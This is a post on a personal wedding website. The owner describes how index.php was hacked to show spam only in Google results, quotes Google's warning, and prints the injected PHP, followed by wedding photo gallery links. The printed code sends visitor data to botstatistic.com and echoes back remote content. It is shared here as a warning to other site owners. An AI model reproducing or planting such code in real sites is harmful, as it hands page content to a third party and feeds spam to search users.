Need more information on the index.php file being hacked to show spam in Google search results? Check out Peter Rossenmai's website for more information. I checked my index.php file and found the code below at the top. The spam this code created wasn't visible to anyone on my website- it was only visible in Google's searched. Google explained it well when I logged into Google Webmaster Tools:
Dear site owner or webmaster of meandyouis.us, While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.
<?php
  // This code use for global bot statistic
  $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
  $stCurlHandle = NULL;
  if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
  {
    if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
    $stCurlHandle = curl_init('http://botstatistic.com/StatE/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']));
  } else
  {
    if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
    $stCurlHandle = curl_init('http://botstatistic.com/StatE/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']));
  }
  curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
  $sResult = curl_exec($stCurlHandle);
  curl_close($stCurlHandle);
  echo $sResult; // Statistic code end
?>




Thank you for making our wedding awesome! We love our lives in Idaho and wanted to show you some great photos from the wedding.
Click on the photo collections below to see more.

Wilson Family
The Happy Couple
Random Photos
Our Awesome Friends
Garder and Bouquet Toss
Bride's Family
Andrea the Bride
Andrea and Bridesmaids